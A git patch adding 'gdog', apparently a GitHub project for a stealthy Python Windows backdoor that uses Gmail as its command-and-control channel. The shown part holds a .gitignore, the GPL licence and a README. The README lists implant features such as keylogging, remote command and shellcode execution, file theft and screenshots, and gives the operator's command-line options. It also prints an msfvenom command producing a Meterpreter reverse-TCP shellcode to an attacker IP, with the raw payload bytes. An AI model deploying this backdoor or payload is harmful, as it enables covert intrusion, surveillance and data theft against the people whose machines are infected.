From 8ae0a4ff18d507b897bdfad694fc4af090cf15f8 Mon Sep 17 00:00:00 2001 From: xl7dev Date: Wed, 14 Dec 2016 11:03:27 +0800 Subject: [PATCH] Gmail as a C&C server --- gdog/.gitignore | 71 +++ gdog/LICENSE | 674 ++++++++++++++++++++++ gdog/README.md | 164 ++++++ gdog/client.py | 1121 ++++++++++++++++++++++++++++++++++++ gdog/data/.gitignore | 2 + gdog/gdog.py | 380 ++++++++++++ gdog/requirements.txt | 4 + gdog/shellcode_generate.py | 22 + 8 files changed, 2438 insertions(+) create mode 100644 gdog/.gitignore create mode 100644 gdog/LICENSE create mode 100644 gdog/README.md create mode 100644 gdog/client.py create mode 100644 gdog/data/.gitignore create mode 100644 gdog/gdog.py create mode 100644 gdog/requirements.txt create mode 100644 gdog/shellcode_generate.py diff --git a/gdog/.gitignore b/gdog/.gitignore new file mode 100644 index 0000000..c800ac6 --- /dev/null +++ b/gdog/.gitignore @@ -0,0 +1,71 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover +.hypothesis/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +#Ipython Notebook +.ipynb_checkpoints + +# PyDev +RemoteSystemsTempFiles +.project +.pydevproject +.metadata +.settings +*.prefs + diff --git a/gdog/LICENSE b/gdog/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/gdog/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/gdog/README.md b/gdog/README.md new file mode 100644 index 0000000..ff825d4 --- /dev/null +++ b/gdog/README.md @@ -0,0 +1,164 @@ +Gdog +==== +A stealthy Python based Windows backdoor that uses Gmail as a command and control server + +This project was inspired by the gcat(https://github.com/byt3bl33d3r/gcat) from byt3bl33d3r. + + +Requirements +===== +* Python 2.x +* PyCrypto module +* WMI module +* Enum34 module +* Netifaces module + + +Features +===== +* Encrypted transportation messages (AES) + SHA256 hashing +* Generate computer unique id using system information/characteristics (SHA256 hash) +* Job IDs are random SHA256 hashes +* Retrieve system information +* Retrieve Geolocation information (City, Country, lat, long, etc..) +* Retrieve running processes/system services/system users/devices (hardware) +* Retrieve list of clients +* Execute system command +* Download files from client +* Upload files to client +* Execute shellcode +* Take screenshot +* Lock client's screen +* Keylogger +* Lock remote computer's screen +* Shutdown/Restart remote computer +* Log off current user +* Download file from the WEB +* Visit website +* Show message box to user +* Ability to change check-in time +* Ability to add jitter to check-in time to reduce predictability + + +Setup +===== +For this to work you need: +- A Gmail account (**Use a dedicated account! Do not use your personal one!**) +- Turn on "Allow less secure apps" under the security settings of the account. +- You may also have to enable IMAP in the account settings. + + +Download/Installation +==== +* https://sourceforge.net/projects/pywin32 +* git clone https://github.com/maldevel/gdog +* pip install -r requirements.txt --user + + +Contents +===== +- ```gdog.py``` a script that's used to enumerate and issue commands to available clients +- ```client.py``` the actual backdoor to deploy + +You're probably going to want to compile ```client.py``` into an executable using [Pyinstaller](https://github.com/pyinstaller/pyinstaller) + +**Note: It's recommended you compile client.py using a 32bit Python installation** + + +Usage +===== +``` + __ + ____ _____/ /___ ____ _ + / __ `/ __ / __ \/ __ `/ + / /_/ / /_/ / /_/ / /_/ / + \__, /\__,_/\____/\__, / + /____/ /____/ + +optional arguments: + -h, --help show this help message and exit + -v, --version show program's version number and exit + -id ID Client to target + -jobid JOBID Job id to retrieve + + -list List available clients + -info Retrieve info on specified client + +Commands: + Commands to execute on an implant + + -cmd CMD Execute a system command + -visitwebsite URL Visit website + -message TEXT TITLE Show message to user + -tasks Retrieve running processes + -services Retrieve system services + -users Retrieve system users + -devices Retrieve devices(Hardware) + -download PATH Download a file from a clients system + -download-fromurl URL + Download a file from the web + -upload SRC DST Upload a file to the clients system + -exec-shellcode FILE Execute supplied shellcode on a client + -screenshot Take a screenshot + -lock-screen Lock the clients screen + -shutdown Shutdown remote computer + -restart Restart remote computer + -logoff Log off current remote user + -force-checkin Force a check in + -start-keylogger Start keylogger + -stop-keylogger Stop keylogger + -email-checkin seconds Seconds to wait before checking for new commands + -jitter percentage Percentage of Jitter +``` + + +Shellcode Exec +===== + +``` +$ ./msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform Windows EXITFUNC=thread LPORT=4444 LHOST=172.16.153.1 -f python + +No encoder or badchars specified, outputting raw payload +Payload size: 354 bytes +buf = "" +buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" +buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0\xb7" +buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" +buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" +buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" +buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" +buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" +buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" +buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" +buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" +buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" +buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" +buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" +buf += "\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11" +buf += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" +buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" +buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" +buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" +buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a" +buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" +buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" +buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40" +buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57" +buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9" +buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0" +buf += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +buf += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00" +buf += "\x53\xff\xd5" +``` + +Get rid of everything except for the shellcode and stick it in a file: + +``` +$ cat shell.txt 